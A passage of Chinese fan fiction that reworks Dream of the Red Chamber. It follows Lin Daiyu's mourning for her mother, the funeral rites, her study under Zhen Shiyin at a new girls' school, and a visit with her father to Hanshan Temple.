黛玉方欲回言,耳边水响如雷,一夜叉般怪物扑面而来。
一刹那黛玉反应不能,醒来是她的床榻,仿佛经过万千美梦,又仿佛历过万千劫难。
醒来,只觉做了一场美梦,梦里娘亲伴着她长大,直至白发苍苍。
她还记得,明年上巳节,他们一家三口踏青,爹爹送了娘亲一支芍药,娘亲脸上绽开的笑容,明明,娘亲最爱梨花。
4. 第四夜
黛玉在幻境过了许久,已经接受了母亲的死亡,醒来却不过半个时辰。
看着爹爹守着自己,黛玉不禁喊着“娘亲”放声大哭,又险些晕厥。
林海只得慢慢哄着、安慰着,“爹爹还在,黛玉别怕”“你娘和弟弟都等着我们呢,总有一天我们会一家团聚”“别让你娘担心,她最担心你呢,你要好好的”云云。
黛玉慢慢缓了过来。
林海才道:“黛玉,这会儿族里的叔伯婶娘们和兄弟姐妹们都来了,等会儿去给他们请个安。”缓了缓又说,“等会再去灵堂给你娘磕个头。”
黛玉强忍着泪水答应了,“爹爹,我知道。”
林家族老接到丧信后,立马安排金字辈、水字辈、火字辈的族人赶往林府帮忙,金字辈的长辈帮忙主持事物,水字辈、火字辈的跟着帮忙,男人们在外面奔跑,女眷在府内帮忙料理,无事的都在灵堂守灵。
黛玉一身孝服入灵堂,在婶娘的引导下敬香、烧纸、叩首,泣不成声,叩首闻声,旁边的婶娘赶紧搀扶劝说:“好孩子,可不兴这样,心意到了就好,你娘会心疼的。”说着,也起了悲意。
黛玉三拜九叩才起身,拜见过各位长辈后,跪在左首,低头点纸,默默流泪。
每每有人祭拜,黛玉都叩首还礼,十分用力,众人劝阻无能。
孔夫人祭拜后,跪在黛玉旁边的蒲团上,揽过黛玉,“好孩子,心意到了就好,你娘不在意这些,她只想你健健康康的。照顾好自己,就是对她最大的孝顺了,别让她不放心。”
孔夫人陪了黛玉一个时辰才离开,“我走了,明日送阿阅来陪你,要好好的。”拍了拍黛玉的肩膀快步离开。
黛玉在灵堂守了一天,婶娘劝了又劝,只能留下来陪她,直到林海过来,婶娘们才离开。
“黛儿,你娘走了。以后就我们父女相依为命了。”年过四十的林海依旧丰神俊朗,只是贾敏的逝去让他也染上几分暮色。
黛玉听了,直接泪崩,扑进父亲怀里。
“我早上明明梦到娘亲好了,要长长久久的陪着我们了。”
“乖,你身体不好,你娘不愿意你守灵守丧伤了身体,咱们也不在乎这些形式,你送你娘最后一程就好,养好身体,健健康康的,你娘才开心。”
黛玉想拒绝,可看着父亲难过的样子,又不能,毕竟,父母都是为了她。“可是,爹爹,我只能陪娘亲这么些天了。”
林海,“我们会永远记得她的,对不对。你要相信,你娘在另一个世界陪着我们,以后,我们总会一家团聚。让她放心,好不好?”
黛玉想起今早的梦,用力点头,想要努力扬起嘴角,却没有成功。
“夜深了,回去吧,爹陪陪你娘。”林海说着,不等黛玉拒绝,直接喊来在灵堂外守着的丫鬟送黛玉回去。
黛玉慢慢走着,月色洒在地上,泛着白,却莫名觉得冷。
回屋后,黛玉洗漱完毕,挥退丫鬟,躺在床上,闭着眼睛,眼前全是娘亲,笑着的、难过的、关心她的……她想笑给娘亲看,嘴角没能成功提起,眼泪却不自觉的掉下来,泪珠掉的越来越汹涌,仿佛泄了洪,泪珠争先恐后的滚出来,她压抑着不哭出声来,只想在夜里默默地思念母亲。
不知不觉中黛玉睡着了,梦里有母亲,有弟弟,还有爹爹,他们一家出游,她和弟弟边跑边笑,爹娘站在一起,宠溺的看着他们笑,于是,她也笑,笑着笑着眼泪流了下来。
黛玉缓缓睁开眼睛,逢春已经带着小丫鬟守着,伺候丫鬟梳洗,看着黛玉红肿的眼睛赶忙拿来备好的冰帕子给她敷着,想劝黛玉,却不知道该怎么说,只好好照顾她,别让她伤了身体。
稍微敷了会,黛玉就拿了帕子,起身道,“好了,去灵堂。”
话落,子规就推开了门,后面跟着两个带着餐盒的小丫鬟,指着外室的桌子让丫鬟摆膳,自己走到黛玉跟前,请安后说道,“姑娘,老爷特地交代给您送了早膳过来,用参汤熬得碧粳米粥,还有两道开胃小菜和素包子,都是您喜欢的,您用点再去,日子还长呢。”说着,带着黛玉走到餐桌前。
黛玉道:“我实在没胃口。”
丫鬟们连番劝说,最后黛玉也只喝了小半碗粥,吃了一个包子。
用毕黛玉就带着丫鬟去了灵堂,林海一人坐在灵堂,背影寂寥,不知在想什么。
黛玉示意丫鬟留在外面,自己进去跪在爹爹旁边。
父女二人什么都没说,默默怀念他们思念的人。
最后,林海终究同意让黛玉在灵堂呆着,只不许她久跪。
一日如此,日日如此。
后来,阴阳先生送来择日结果,三日小殓,七日大殓,停灵四十九日。
三日小殓,林海和黛玉在棺材中放入林氏族人、亲戚、贾氏族人送来的褥子,一共九层,最上面的一层是黛玉请教过长辈后连夜缝的,针脚细密,每一针都是对母亲的思念和祝福,贾敏穿的衣服是黛玉画了图亲自做的,给贾敏准备的生日贺礼,也是黛玉为贾敏做的第一件衣服,本该有着年年月月,最后成了唯一。
林海把贾敏移入棺中,林海、林家亲朋、黛玉又把贾敏平素喜欢、有纪念意义的衣物、饰品塞满棺材,才缓缓合上棺。
刹那间,平辈、小辈跪了一地,哭成一地。
黛玉哭的尤为伤心,林家婶婶扶都扶不起来。
平素柔弱的姑娘,格外倔强。
母女情深,不外如是。
亲朋好友,远亲近友,祭拜者如云。
七日大殓钉棺,小辈、平辈跪了一地,哭喊着“躲钉”。
“娘亲,躲钉,躲钉啊。”黛玉声声悲切、声声泣血,终于在最后一声敲打声停下,软倒在地上。
丧礼隆重,亲人悲切,大概唯一遗憾的是娘家亲人未能到来,虽有贾氏族亲,却不是亲人。
第二十八日,贾琏带着妻子王熙凤、妹妹贾素心一身丧服风尘仆仆地来到林府。
姑侄分隔两地,不曾常见,却也常有书信往来,互送土仪,真心疼爱的长辈去了,他们都真心悲痛。
王熙凤,贾素心、贾琏未至林府便下了车,哭着“我可怜的姑妈啊,……”行至林府
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正门,被引着去了灵堂,上香,烧纸,叩首。
王熙凤、贾素心、贾琏与黛玉互相见过礼,王熙凤、贾素心去拜访林家长辈,素心见过礼便出来陪着黛玉,贾琏去拜访林海。
林海书房
“老爷,表少爷来了。”随从到。
“进。”林海道。
“侄儿贾琏拜见姑父。”贾琏拿出几封信递给林海,“这是祖母、父亲和二叔给您的信。姑父瘦了许多,多保重身体。”
林海没理他,只看信,说道,“坐。”
“如海,展信佳。本以为不过两三年,谁知却是生死离别。……吾失幼妹,君失伴侣,人生长恨。只是多保重身体,想想幼女。只盼你记得许多前车之鉴。”
“岳母身体如何?两位舅兄如何?”
“家里一切都好,只是突闻噩耗,悲伤过度。祖母年岁大了,父亲不宜出京,便让我来送姑姑最后一程。没想到,还是晚了。姑父有事尽管使唤我,我也没别的好处,只是长于内务,也想为姑母尽点心。”贾琏说着也难过起来,眼角不禁渗出眼泪。毕竟母亲早逝,姑母是对他最真心的长辈,殷殷教诲,如今言犹在耳。
“是我不好,是我没照顾好她。”林海这些日子强撑着身体操持葬礼,安慰幼女,却又总忍不住想他,控制不住悲伤,却又赶忙止住。“好,客院都是收拾好的,让素心和黛玉一起住,你和王氏住知勤院。安顿好了,再去找管家。”
话罢,贾琏告辞。
之后,贾琏跟着管家、林家族人处理外物,也算走出贾府的圈子,长进不少。
王熙凤跟着林府长辈处理内宅事物,操持丧礼。
王熙凤经历过更煊赫的丧礼,只书香世家与勋贵的处事风格不同,受益匪浅,更是主动拜了黛玉、素心做先生,学文识字,读律法。
夫妻二人忙里忙外,也算共同进步。
黛玉也不再一味沉溺于悲伤中,主动帮着父亲分担。
毕竟,林海告假,只他能处理的公务还是要处理。
四十几日一晃而过,迎牌位、吊丧、乞草……最后的仪式一一完成,只等第二日下葬。
子夜,亲朋都去休息,只剩林如海和黛玉守着贾敏,四十九个日夜,仿佛过了四十九个春秋,这时他能陪她的最后一个夜晚。
父女二人默默无言,温馨也凄清。
好在,还有彼此。以后,就剩他们父女相依为命了。
第二日凌晨,林家出殡,关系要好的人家早早设了路祭,送来祭礼,后跟随送殡。
黛玉在最前方捧灵,摔盆子的是林家族长之孙林墨,是贾敏的族孙,比黛玉还大些。
白衣执绋,纸飘十里,一行人抬棺来到林家祖坟,天已大亮。
跪地,哭灵,下葬,哭坟。
贾敏的一生就这样结束了。
墓是双人墓,小儿子就在贾敏旁边,想必她们早已团聚,他们一家总有一天会团聚。
回到老宅,送别亲友,唯余贾琏一家和将要成为黛玉老师的甄士隐一家。
林海、黛玉双双病倒。
5. 第五夜
好在,都无甚大事。不过是心里紧绷的弦断了。
林海养了七八日便好,病愈便回了扬州上衙,处理积压的公务,忙了半个多月才忙完。
黛玉留在姑苏老宅养病,王熙凤、贾素心、甄英莲陪着黛玉养病,王熙凤帮忙管家,顺便教他们学些管家技巧;贾琏则跟着甄士隐学习。
等到林海忙完休沐回到姑苏,黛玉已经恢复。
黛玉听闻林海要回来了,早早便在府门前等着。
一席素衣,披着素色的斗篷,显得她格外出尘。
放到归家的林海眼中只觉得女儿憔悴许多,林海下马车后快步走向黛玉,“黛玉,身体还没好,怎么在这站着,赶紧回去。”
“爹爹,我现在身体已经好了,别担心。”黛玉带着点撒娇说道。
父女二人先去了贾敏的院子,到贾敏的牌位前上了柱香,陪着黛玉吃了饭,父女二人坐在书房下棋,很明显,林海在指导黛玉,林海问道:“和你表嫂、表姐、甄姑娘相处的怎么样?”
“表嫂活泼有趣,人情练达,表姐沉默温柔,甄姐姐勤奋好学,我们一起联诗玩耍,相处的极好。”黛玉说道。
“我有意让甄先生做你老师,你愿意的话,明日就安排拜师。”林海问道。
“我愿意,爹爹。”黛玉说道,“不过我们在孝期,甄先生一家不介意吗?”
“不用担心,我与甄先生是旧识,他不会介意这些。”林海又道,“你舅舅有意留你表哥在江南历练历练,你表嫂、表姐要在姑苏留段时间。你们也可以一起听学,互相学习,你也有个伴。”林海道。
“爹爹,家里有族学,女孩子倒没处学习,不如让秋妹妹、熳姐姐、灵妹妹她们,还有阿阅一起来。”黛玉又道。
“这都成女学了,我和甄先生商量一下。”林海顿了顿又说道,“我想着你留在姑苏给你娘守孝,同时读书,也清净。你怎么想的?”
“我舍不得爹爹。”黛玉明显的不情愿。
“爹爹休沐就回来了,到时候爹带你四处看看,你休沐,也可以来扬州完,也陪陪你娘,以后就没机会了。”林海劝道。
“我才不要,我要一直陪着爹娘。”黛玉不依。
“好,只要爹闲了,就回来看你。既然想请张姑娘,你自己给孔夫人写帖子,看她和张大人愿意张姑娘来姑苏不?你也可以请教她女学都要学什么,还要什么老师,可以让你孔姨介绍。其他的爹给你解决。”林海纵容的说道。
说话间,一局棋已经结束。
“不错,比上次坚持的时间长点。”林海赞道。
“素心姐姐善棋,我们经常下着玩。”林黛玉道。
黛玉又向林海说了她晕倒后做的梦,林海听后陷入沉思,半晌才说道,“不过一个梦,早点回去休息吧。明天带你去拜师。”林海说罢就挥手示意黛玉离开。
黛玉离开不一会儿,贾琏就来到了书房。
贾琏请安后说道,“姑父,我来告辞,祖母来信说让我们回去,请表妹去家里住。”
“你表妹还在孝期,我欲让她在姑苏老宅守制读书,甄先生是我为她请的老师。”林海听了听说,“岳母那边你不必担心,到时候我会去信解释。至于你们,你父亲的意思是留在江南历练历练。”
“我不知道,姑父。”贾琏懵了,“老太太还来了几封信,说元春妹妹封了贤德妃,上皇、皇上连连下旨恩赏后宫,本来妃子家眷不能随意觐见,现在每逢二六之期就能进宫,还说有重宇别院之家,可以回家省亲,让我们回去操持。”
“贵贤淑德为四妃封号,大姑娘封凤藻宫尚书,加封贤德妃,你想想其中蹊跷。”林海问,又向贾琏口语道,“捧杀。”
贾琏刷的脸全白了。
“你父亲来信,说让你留在姑苏守孝,让我和你小舅舅教教你。”林海说着,“你小舅舅现任扬州知府。”给了贾琏一页纸。
“我已经很久没有外祖家消息了。”贾琏答,说着看起了贾赦给他的信。
“你父亲给你的。你是他唯一的儿子,他总不会害你。荣国府会是你的,但你总不能凭着当管家继承爵位。欲承爵位,必承其重。”林海说的一针见血。“你祖父是国公,你父亲是一品将军。这中间的差距你应该懂。到你又会是什么样子?”
“你回去好好想想,和王氏思考下,有没有做过不该做的,赶紧补救。等我回扬州,带你去拜访张大人。回去吧。”说完林海便摆手让贾琏离开。
贾琏又问,“那家里怎么办。”
“你父亲自有主张,别担心,他到底是尚书房出来的学生。”林海道。
贾琏听后叮嘱林海早点休息,才告辞离开。
贾琏走的时候,林海想起黛玉明日拜师又补充道,“明日黛玉拜师,你们也一起去。”
贾琏称是离开。
林海提笔写了几封信,让随从尽早送往京城,自己看了会书才就寝。
第二日,黛玉早早便来林海院子候着,穿着一身白衣,袖口、裙摆处绣着些青竹和竹叶,素淡却不失礼。
贾琏三人也早早收拾好过来等着。
林海出来,几人用过早餐,巳时初出发了。
几人安步当车,只带一随从拿着芹菜、莲子、红豆、红枣、桂圆、干瘦肉条等六样拜师礼,不到一刻钟便到了甄家小院。
甄家小院虽不繁华,收拾倒也齐整,别有风味。
林家一行人到时,甄家一家三口已经在厅里候着。
甄士隐夫妻做主位,林海陪坐右首,黛玉、英莲坐林海下首;贾琏、王熙凤、素心坐左边。
林海看着甄士隐夫妻难免想起曾经和贾敏一起的日子,难过一瞬,又迅速收起思绪,小辈请安后,甄士隐和林海寒暄几句,林海便问道,“甄兄,小女可堪为徒否?”
甄士隐颔首:“令爱天资聪慧,得良才美质而育之,岂不美哉?”
黛玉站起身,略正衣冠,呈上六礼和拜师贴,行三百九叩大礼,甄士隐朗声笑了两声,拿出早已备好的《论语》递给黛玉,“这是为师准备的,陆大儒批注般的《论语》,回去可以看看,不过尽信书,不如无书。读书最要紧的是有自己的想法。”
黛玉起身,道,“谨遵老师教诲。”
礼毕,贾琏几人给黛玉送上准备的拜师礼,熙凤是一枝玉簪,贾琏是一幅古画,素心、英莲各送了自己绣的荷包。
甄夫人带着女眷离开,只余林海、甄士隐和贾琏。
林海问道,“甄兄,可有兴趣多教几个女学生?”
甄士隐一听,倒也不反对,他自己年过半百只有一女,也只是守着妻子女儿过,倒也没有世俗的男女之念,便道,“只要学生家长不介意,我一老头有何不可?”
贾琏听了忙问,“姑父,甄先生,我实在佩服先生学问和人品,我妹妹和王氏能跟着甄先生上学吗?”
林海、甄士隐听罢,纷纷对视一眼,纷纷表示赞许。
甄士隐道,“你姑父不会忘了他们。不过,难为你有这份心,到时候让她们来就是。”
林海问道,“甄兄,觉得我这侄子如何?”
“大是大非无错,只是流于油滑,还有点风流;长于实务,学业不精。还需打磨。”甄士隐道。
“甄兄看人果然准。”林海又看向贾琏,“回去收拾吧。明日跟我回扬州。”
贾琏出去的时候,甄夫人、王熙凤正聊天,黛玉、英莲、素心他们几个去了院子玩。
贾琏出来,向甄夫人告辞后,就带着黛玉他们回了林府。
回林府后,贾琏告诉素心和熙凤听学消息,都很激动。
素心和黛玉去了书房,抄写经书,为贾敏祈祷。
贾琏和熙凤回了院子,说起林海对他的安排,王熙凤十分不舍,倒也用心给他打理行装。<
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p>贾琏道,“姑父留我在江南,是打了教我的注意,又给了你们学习的机会,我们无法回报,以后可得对表妹更好些。”
贾琏知道,这次去扬州,肯定要去拜访舅家,当初不知道便罢,如今可不能失了礼数,两口子商量着打点礼物。
他也想知道当年到底发生了什么,母亲怎会突然去世,父亲又成这副样子,明明当年那般好,偏偏成了如今。
又说,等定了拜访的日子,再来信,让王熙凤、贾素心前往扬州,第一次拜访一定要都去。
这说说那说说,时间一晃而过。
甄家小院,随从拿来茶盏棋盘,林海、甄士隐煮茶论道,棋盘厮杀,倒也旗鼓相当。
知己相伴,也算人生乐事。
一上午世间悠悠而过,直至随从请他们用餐才停。
林海婉拒了甄士隐的邀请,出了甄家小院,带着随从回了林府,径直去了贾敏院子,走在院子看见外面的两个丫鬟,就知道黛玉在里面。
问道,“姑娘进去多久了。”
“回老爷,姑娘进去半个时辰了,吩咐我们在外面等着。”月皎道。
听完,林海赶紧抬步进去,黛玉果然跪在正堂供奉的遗像前。
那幅画是林海画的,栩栩如生,黛玉只要想贾敏就过来看看,这大概也是她愿意留在老宅的原因之一。
林海听着黛玉絮絮的说着些什么,走了进去,上了支香,说道,“敏敏,今天我带着黛玉拜了甄兄为师,甄兄答应多收些学生,黛玉也有人陪着,你放心。”
说完,看向黛玉,“走吧,去用餐。”
黛玉起来,有点趔趄,林海赶紧扶着,担心道,“这是跪了多久,以后可别这样了。”又安慰道,“再告诉你个小惊喜,我和甄先生说了,等你娘百日过了后开课,你现在可要好好养身体,别到时候请假,让同窗笑话你。”
黛玉含泪说道,“爹爹放心,我会的,我会好好的。”
林海也听懂了黛玉的言下之意,不舍得贾敏难过,没说话,拍了拍黛玉的肩。
出了门,丫鬟赶紧上前扶过黛玉,回了院子。
丫鬟们都已经备好午膳等着,林海陪着黛玉用过餐,叮嘱黛玉好好休息,才离开。又说,晚上一起吃饭。
林海走后,管事的一个个过来找黛玉过来汇报问题。
黛玉开始半知半解,索性贾敏身边的大丫鬟都在黛玉,帮着黛玉,加上王熙凤从旁指点,倒也很快就接手了,现在越发驾轻就熟。
很快处理了事情,赶紧写了信告诉阿阅和林家姐妹拜师的事情,又邀请他们一起上学,又写信给孔夫人说了上学的事情,让孔夫人帮忙找你女先生。
最后,又带着丰富丫鬟们准备上学要用的东西,在府里挑选坐女学的院子,最后选了致斋阁。
巧合的是,林海当年也曾在致斋阁苦读,如今黛玉选了这里坐女学,又何尝不是一种传承。
林海离开黛玉院子,又去了贾敏院子,待了半个时辰左右,不知说了什么,出来的时候心情有些沉郁。
回了书房,给林氏族里、张大人家各去了两份信,说了女学的相关事宜,处理林家的一些事物。
到了晚膳时间,因着孝期,虽无荤腥,也无美酒,但也精致。
林家父女并贾家三人坐了一桌,林海道,“这么长时间,家里也忙,姑父也没时间招呼你们,今天我们一起吃个便饭。你们安心住着,当自个家。我不在家,你表妹还劳你们照顾。”
贾琏赶紧道,“姑父这说的什么话,都是自家兄妹,互相照顾,哪有什么劳烦。倒是表妹照顾我们比较多,等姑父到时候回了京城,我们再尽地主之谊,好好照顾表妹。”
一席间,宾主尽欢。
黛玉带着丫鬟回院子,慢慢走着,走着走着就想起娘亲去了那个夜晚,也想起那个清晨,走着想着就从深秋到了隆冬,到了贾敏百日。
6. 第六夜
林海和贾琏提前一日回到姑苏,准备贾敏百日祭祀。
这段时间,贾琏带着妻子、妹妹拜访了张家,见了舅舅、舅母、表妹,不知发生了什么,倒也沉稳了许多。
贾敏百日办的不隆重,只想着自家祭祀一番。
到了日子,距离近的亲戚都来了,远的也都送了祭礼。
一行人去坟前祭祀,倒也看不出林家人丁零落的样子。
死的人停下了,活得人还是要向前走。
黛玉、林海依旧念着贾敏,但也不再常常沉溺悲痛,不能自已。
大概年末了,到处都忙,早上祭祀完,林海下午就赶回了扬州办公。
黛玉十分不舍,但也体谅父亲,只是遗憾,要开学了,父亲却不在。
林海同样遗憾,不放心,虽然,他信任甄士隐,他教黛玉,他在放心不过,这大抵旧识父母之心。
第二日黛玉要上学了,沉寂了几个月的林府仿佛沸腾了起来。
早先黛玉上学时候还小,身体又不好,上的断断续续,黛玉身边丫鬟都没觉得有什么不同,也没觉得进士先生有多了不起,很是平常。
这次,林海专门请来好友,黛玉正式拜师,又办了女学,请了林家姑娘、贾家姑娘、张家姑娘来一起念书,加上贾敏身边大丫鬟们的指点,终于认识到读书的神圣,早早起来就忙了起来。
黛玉起来被丫鬟们围着梳妆,换衣服,换下孝衣,穿了碧色的短袄,玉色绣青竹的裙子,梳了垂鬟分肖髻,坠了几粒珍珠。
打扮好后,丫鬟们便送来朝食,劝着黛玉用了许多,出门的时候拿来一件玉色的厚披风给黛玉系上,才放她出门。
四个丫鬟,黛玉安排每日两个跟着她去上学,今日,跟着黛玉的雪雁、知更。
二人早早准备好书籍笔墨、点心茶水跟在后面。
主仆三人走到致斋阁的时候,王熙凤、贾素心姑嫂二人恰巧走来,三人相视一笑,走进致斋阁。
致斋阁前面有个小花园,种着各种时令花卉,大抵因为孝期,花都是浅色的,后面有一篇竹林,风吹过的时候,簌簌作响,十分悦耳。
读书累了,赏花听竹,既风雅,又休闲,十分得宜。
一排屋子被池塘围在中间,一间藏书室,一间课室,一间琴室,一间画室,一间绣房,十分齐全。
路上,王熙凤说道,“托妹妹的福,姐姐我今日也进了学堂读书。”
黛玉打趣道,“姐姐可谢错人了,该好好谢谢表哥才是。先生刚同意办女学,表哥就求爹爹要你和表姐也来。”
素心也道,“哥哥不求,姑父难道不会想到我们。说到底,哥哥为我们的心该谢,妹妹和姑父给我们机会更该谢。只是一家子骨肉,说谢太客套了,我们都记得。”
王熙凤道,“我也自认不让须眉,可单单读书这项便远远不如男子。如今,托妹妹的福,可算补上了。”
三人闲话间,黛玉的族姐、族妹也都来了。
林熳单纯活泼,林秋端庄从容,林灵人如其名,清灵可人,和黛玉最像。
虽然,林家女儿都是像的,自幼读书,在书香熏染下一身书香。
张阅来的最晚,在丫鬟的指引进入课室,快步走向黛玉,一袭书香,又带了几分利落,抓着黛玉看了看,“瘦了。”后面的丫鬟快步跟进来。
两人算一起长大,张阅只在贾敏走后来林家陪黛玉住了几天。
后来虽有书信往来,还是十分担心,如今见了黛玉气色还好,便放了心。
张阅又和表嫂王熙凤、表姐贾素心、林氏姐妹互相见过礼,才落座,几人闲话,讨论老师和课程。
甄先生负责教导四书五经、琴棋书画,孔夫人请了张阅的大伯母白夫人给她们教礼仪、品香、品茗、莳花、管家、交际等贵女修养,又请了扬州有名的吕绣娘教她们女工刺绣,衣服搭配等。
黛玉在林如海处见过几次甄先生,随和幽默,性情疏朗,黛玉很喜欢他做老师,倒不担心。
只是不熟悉白夫人和吕绣娘不太熟悉,有些踌躇。
不一会儿,甄先生带着甄英莲,白夫人、吕绣娘先后进入课室。几人闲话少叙,简单自我介绍后,便各自出了题,了解她们的水平。
白夫人,出身太原白氏,祖上曾出名将,到现在已几经朝代更替。她年轻时也是才貌双绝的才女,与张大爷两情相悦,结为夫妻,只是天降祸事,张大爷不幸被当年祸事波及,白夫人中年守寡,深居简出,寄情诗书,枯木一般活着,孔夫人费了好大功夫才说服她。
吕绣娘倒是苦命人,早年遭遇天灾,爹娘为了活命,把她卖了,几经周折,学了一身好绣艺,名贯扬州,好不容易苦尽甘来,又青年丧夫、丧子,如今与女儿相依为命。
几人考察了黛玉她们的进度,把她们分为三组,黛玉、张阅为一组,林秋、林灵一组,林熳、甄英莲、贾素心一组,王熙凤跟着黛玉她们旁听,轮流上三个老师的课。
上课时,甄先生因材施教,虽然都从《论语》开始,但对不同基础的学生讲的深度不同,教学方式也不同,只是都讲的妙趣横生,让学生们恨不能长在课堂
他不仅讲知识,也带着黛玉她们探索知识背后蕴含的价值、典故等等,甚至有时会将一些朝政。
王熙凤虽然不能全懂,但也能知深浅,收起了早先王家厉害的张狂,行事不再向早先那般无所顾忌,早先的错事也积极做了补救。
日常也求教黛玉和贾琏,夫妻关系也突飞猛进。
当然,甄先生也不一味带着她们研读四书五经、史书典籍,也会在林府的某一处景致,带着画画,写意工笔,全凭喜好;也会在雨天,伴着雨声带着她们学棋……让她们在风雅中学习,在学习中风雅,习惯与诗书相伴的日子。
白夫人的课倒是世家谱系、社交礼仪、管家理事、射覆骑马、养生调理……应有尽有。她们有时候期盼白夫人的课,有时候又害怕白夫人的课,十分矛盾。
不过,黛玉的身体好了许多,称得上健康,白夫人功不可没。
甄先生的课大家都很喜欢,白夫人的课爱恨交加,吕绣娘的课大家除了衣饰搭配、颜色搭配、穿衣禁忌等听的还算认真,对刺绣倒是无可无不可。毕竟,她们又不以此谋生,只是偶尔给长辈、手帕交绣个礼物而已,身边也常有专门伺候衣物的丫鬟伴着。
不过,大多都学的中规中矩,不会出错。
老师们住在林府附近的院子里。
林氏姐妹、张阅都住在林府,给她们在黛玉安排了院子,休沐的时候回家。不过,张阅偶尔也会随白夫人回去。
下了课,甄英莲、林氏姐妹、贾氏姑嫂、张阅都一窝蜂的跟着黛玉去了她的院子,几个人在丫鬟的伺候下吃了饭,完成作业,又玩了会才结伴离开。
这样的路一走就是两年,她们扎进书海,等出来的时候贾敏的孝期已经过了,林家素颜换了新颜。
这两年里,林家女学在江南出了名,来了许多姑娘,也走了许多姑娘,来来去去,姑娘们的情谊却没有丝毫改变,远在天涯,也书信为伴,情谊更加深厚。
张阅因为张大人升迁,已经离开扬州半年,虽约好京城见,但不知何时才能相见。
林海出了妻孝后,大都想着林海只黛玉一女,肯定会续弦。
出于各种考虑,给林海介绍
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续弦的不少,却都被林海拒绝,屡次被打扰后,林海放出消息不会续娶,才渐渐平静下来。
林海和黛玉如今已经能够平静的谈起贾敏,思念如酒,越酿越深,悲伤却越来越淡。
林海和黛玉都常常坐在贾敏的遗像前,叙说彼此的生活,说她们一切都好,说黛玉求学的趣事,以求让贾敏放心。
贾琏跟着林海在扬州锻炼一年后,林海觉得他应对外事的能力不错,便把他塞去林家族学旁听,一年下来,夫妻共同学习,也装了几两墨水,整个人如同脱胎换骨般沉静下来,风流俊朗依旧,只是少了几分油滑和虚浮。
站在林海书房贾琏已经隐隐有几分浊世佳公子的意思,林海道,“不错,有几分你父亲和大舅当年的风采。”
林海拿过贾琏递来的书信,打开看了看,叹道,“你姑姑出孝后,这已经是第三封了,让你们回京,邀黛玉去贾家。”
贾琏问道,“姑父怎么打算?”
林海答道,“你们也在江南快三年了,准备回京吧,下个月启程。这次黛玉和你们一起回去,也走动走动亲戚,回去后帮我找人修理京城林府。不出意外的话,我明年也就回京了。”
贾琏喜道,“侄儿恭喜姑父了。”
“我再嘱咐你几句,回京谨言慎行。早先你父亲不同意,荣府虽没大建别院,但你二婶为贤德妃省亲,也建了一个园子,只是贤德妃把宫里说成见不得人的去处,周围都是宫女,谁的人都有,明面上没人说,私底下都传遍了;后来,贤德妃给家里女孩子送礼物,让宝玉和家里姐妹住进园子,偏有把一个商户女写在最前面,又让众人看了一次笑话。你回京万不可仗着贤德妃胡来,也别被引着去做些什么。你父亲心里也清楚,想必还会嘱咐你,只是我着说话方便些。”林海说完,贾琏脸都绿了。
“大妹妹从小也算聪明,怎么会?”贾琏疑惑。
林海只道,“深宫里聪明人多了。”
二人又说了一会儿,才出了书房。贾琏回了知勤院,林海去了黛玉的院子。
林海去的时候,黛玉正在书房练字。
林海没有打扰黛玉,悄声进入书房,坐着看黛玉练字。
这两年他两地奔波,黛玉潜心学习,虽说经常回姑苏看黛玉,但忙起来也不太顾得上,说带黛玉出门,也没出去几次,想着要送她去京城,颇为不舍,总觉得没有照顾好女儿。
黛玉练完字,看到林海坐在桌子前,高兴的上前请安,才落座。
“黛玉,你外祖母来信,邀你去京城玩。我们自打来了扬州,就没回去过,你表哥她们在江南也呆了快三年了,该回家了。”林海停了停又说,“你先去几个月,爹爹明年也就回京了,咱们京城团聚。”
黛玉早就知道有这一遭,只是到了依旧不舍。“我只是舍不得爹爹。”
林海险些说不去了,只是到底忍住了。岳母如今年岁大了,没了女儿,相要见见外孙女,是应该的。
“别怕,我给你舅舅都去了信。另一个,你舅舅家的姐妹们和表哥住在贤德妃的省亲别院,我给你外祖母说了,你到时候去张家读书,让你随你外祖母住。”林海叮嘱道。
黛玉又问道,“那女学怎么办。”
林海道,“放心,到时候挪去族学旁边,甄先生到时候会留在江南,继续在学里教书,吕绣娘也在,白夫人和你们一起回京。不过答应推荐先生的。”
黛玉知道林海做的安排都是为了她,连声道,“谢谢爹!我到时候在京城等你。”
林海说罢陪了会黛玉就离开了,临了说,“早点休息,爹明天带你去寒山寺。”
黛玉开心起来,忙吩咐丫鬟们准备。
7. 第七夜
清早,林家父女与贾家三人兵分两路,林家父女坐着马车前往寒山寺,贾琏一行出门游湖。
半晌,林家父女就到了寒山寺,先在僧人的指引下去主殿上了香。
寒山寺人流如织,却无鼎沸之感,肃穆之意丛生,仿佛,人在佛面前都不自觉的虔诚敬畏起来。
林海、贾敏也曾带黛玉来过,那已经是六岁前的事了。
后来,就再也没有机会来了。
林海和黛玉不约而同想起曾经一家三口来过的日子,那时音容笑貌犹在,却少了一人。
之后,林海带着黛玉走在寒山寺中,听着寒山寺的钟声,将寒山寺的前世今生娓娓道来,说寒山寺的前身是妙利普明塔院,唐玄宗时改为佛寺,定名为寒山寺,说寒山寺的几番起落;说寒山寺坐东朝西、错落有致、院院相通的独特布局……
走过寒山寺山门前石拱古桥江村桥,走过枫桥,不禁吟起张继的《枫桥夜泊》,说张继的“京飘”生涯,说张继不肯俯就高官,所以无缘做官的铮铮气节;说他安史之乱逃离京城的仓皇刺骨;说他与苏州的缘分,与寒山寺的缘分;说他安史之乱后多番求索,终于任洪州盐铁判官,掌管洪州财赋,后病逝任上;说写下“洪都新府”的与洪州有关的另一个诗人——王勃;说他一生漂泊,求索功名,矢志报国,最后被记下的却只有诗名,最后只有寒山寺的钟声成为他永世的注脚。
如同张继与王勃,两个毫无关系的诗人,王勃因《滕王阁序》在盛唐诗史留下浓墨重彩的一笔,张继因《枫桥夜泊》名留诗史,寒山寺因《枫桥夜泊》名满天下,“洪都新府”让世人把王勃、张继、寒山寺联系了起来。
若无深究,谁知缘分这般玄妙。谁又知道,毫无关系的两个人、会有怎么其妙的缘分。
走到大雄宝殿,说殿里来自佛教圣地五台山的菩萨,说用汉白玉雕琢的须弥祖;说殿里的彩绘形式、泥塑、石雕、木雕……
走到寒拾殿,拜过寒山拾得,讲两人因友情放弃爱情成僧,却被后人称为“和合二仙”,视为姻缘守护神的奇妙因缘;讲两人感人至深的兄弟情谊。
林海或许不信神佛,却还是在心中为他和贾敏求个来世。
黛玉求了亲人平安,故人长安。
父女二人细细欣赏寒山寺的碑刻、雕塑,说所观碑刻的作者,说曾经毁于灾祸的名人碑刻,说复刻《枫桥夜泊》的人莫名死亡……
人们为之悲叹,却又不得不震惊其中的奇妙因缘。
在钟声中走遍寒山寺,有一种洗净尘埃的感觉,身心为之一轻。
